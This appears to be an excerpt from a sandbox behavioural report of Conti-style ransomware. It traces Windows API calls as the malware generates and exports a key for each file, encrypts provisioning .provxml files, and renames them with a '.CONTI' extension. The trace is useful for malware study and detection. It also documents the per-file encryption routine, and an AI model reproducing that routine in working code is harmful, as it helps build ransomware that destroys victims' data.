	[0111.830] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.830] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.830] WriteFile (in: hFile=0x40c, lpBuffer=0x17fee7c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x17fee7c*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0111.832] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.832] ReadFile (in: hFile=0x40c, lpBuffer=0xe980000, nNumberOfBytesToRead=0x1d9, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x1d9, lpOverlapped=0x0) returned 1
	[0111.832] CryptEncrypt (in: hKey=0x6b7f2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x1d9, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x1e0) returned 1
	[0111.832] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.832] WriteFile (in: hFile=0x40c, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x1e0, lpOverlapped=0x0) returned 1
	[0111.832] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.832] WriteFile (in: hFile=0x40c, lpBuffer=0x17fee70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x17fee70*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0111.832] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.832] CloseHandle (hObject=0x40c) returned 1
	[0111.832] GetProcessHeap () returned 0x1720000
	[0111.832] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.832] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0111.832] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0111.832] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\445__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\445__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\445__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0111.833] GetProcessHeap () returned 0x1720000
	[0111.833] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.833] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0111.833] GetProcessHeap () returned 0x1720000
	[0111.833] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b80ac0 | out: hHeap=0x1720000) returned 1
	[0111.833] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0111.833] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x18030a0 | out: phKey=0x18030a0*=0x6b7f6b8) returned 1
	[0111.833] CryptExportKey (in: hKey=0x6b7f6b8, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x18030a4, pdwDataLen=0x4fbf86c | out: pbData=0x18030a4*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0111.834] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\446__connections_cellular_dtac (thailand)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.834] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\446__connections_cellular_dtac (thailand)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0111.834] GetLastError () returned 0x0
	[0111.834] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=647) returned 1
	[0111.834] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x287
	[0111.835] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.835] SetEndOfFile (hFile=0x40c) returned 1
	[0111.835] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.835] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.835] WriteFile (in: hFile=0x40c, lpBuffer=0x18030a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x18030a4*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0112.802] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.802] ReadFile (in: hFile=0x40c, lpBuffer=0xe980000, nNumberOfBytesToRead=0x287, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x287, lpOverlapped=0x0) returned 1
	[0112.802] CryptEncrypt (in: hKey=0x6b7f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x287, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x290) returned 1
	[0112.802] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.802] WriteFile (in: hFile=0x40c, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x290, lpOverlapped=0x0) returned 1
	[0112.802] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.803] WriteFile (in: hFile=0x40c, lpBuffer=0x1803098*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x1803098*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0112.803] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.803] CloseHandle (hObject=0x40c) returned 1
	[0112.821] GetProcessHeap () returned 0x1720000
	[0112.821] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.027] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml"
	[0114.027] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.027] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\446__connections_cellular_dtac (thailand)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\446__Connections_Cellular_DTAC (Thailand)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\446__connections_cellular_dtac (thailand)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.028] GetProcessHeap () returned 0x1720000
	[0114.028] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.028] CryptDestroyKey (hKey=0x6b7f6b8) returned 1
	[0114.028] GetProcessHeap () returned 0x1720000
	[0114.028] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1806e58 | out: hHeap=0x1720000) returned 1
	[0114.028] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0114.028] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b4c988 | out: phKey=0x6b4c988*=0x17c7bf0) returned 1
	[0114.028] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4c98c, pdwDataLen=0x4fbf86c | out: pbData=0x6b4c98c*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0114.029] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\691__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\691__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.029] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\691__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\691__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0114.029] GetLastError () returned 0x0
	[0114.029] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=718) returned 1
	[0114.029] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ce
	[0114.029] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.029] SetEndOfFile (hFile=0x308) returned 1
	[0114.030] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.030] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.030] WriteFile (in: hFile=0x308, lpBuffer=0x6b4c98c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b4c98c*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0114.031] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.031] ReadFile (in: hFile=0x308, lpBuffer=0xe980000, nNumberOfBytesToRead=0x2ce, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x2ce, lpOverlapped=0x0) returned 1
	[0114.031] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x2ce, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x2d0) returned 1
	[0114.031] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.032] WriteFile (in: hFile=0x308, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.032] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.032] WriteFile (in: hFile=0x308, lpBuffer=0x6b4c980*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b4c980*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0114.032] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.032] CloseHandle (hObject=0x308) returned 1
	[0114.032] GetProcessHeap () returned 0x1720000
	[0114.032] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.032] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\691__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\691__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\691__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml"
	[0114.032] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\691__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\691__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\691__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.032] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\691__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\691__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\691__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\691__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.033] GetProcessHeap () returned 0x1720000
	[0114.033] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.033] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0114.033] GetProcessHeap () returned 0x1720000
	[0114.033] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b566f8 | out: hHeap=0x1720000) returned 1
	[0114.033] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0114.033] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b4b070 | out: phKey=0x6b4b070*=0x17c7c30) returned 1
	[0114.033] CryptExportKey (in: hKey=0x17c7c30, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4b074, pdwDataLen=0x4fbf86c | out: pbData=0x6b4b074*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0114.034] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\692__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\692__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0114.035] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\692__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\692__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0114.035] GetLastError () returned 0x0
	[0114.035] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=716) returned 1
	[0114.035] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cc
	[0114.035] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.035] SetEndOfFile (hFile=0x308) returned 1
	[0114.035] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.035] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.035] WriteFile (in: hFile=0x308, lpBuffer=0x6b4b074*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b4b074*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0114.041] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.041] ReadFile (in: hFile=0x308, lpBuffer=0xe980000, nNumberOfBytesToRead=0x2cc, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x2cc, lpOverlapped=0x0) returned 1
	[0114.041] CryptEncrypt (in: hKey=0x17c7c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x2cc, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x2d0) returned 1
	[0114.041] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.041] WriteFile (in: hFile=0x308, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.042] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.042] WriteFile (in: hFile=0x308, lpBuffer=0x6b4b068*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b4b068*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0114.042] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.042] CloseHandle (hObject=0x308) returned 1
	[0114.042] GetProcessHeap () returned 0x1720000
	[0114.042] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.042] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\692__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\692__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\692__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml"
	[0114.042] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\692__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\692__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\692__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml.CONTI"
	[0114.042] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\692__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\692__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\692__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\692__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0114.043] GetProcessHeap () returned 0x1720000
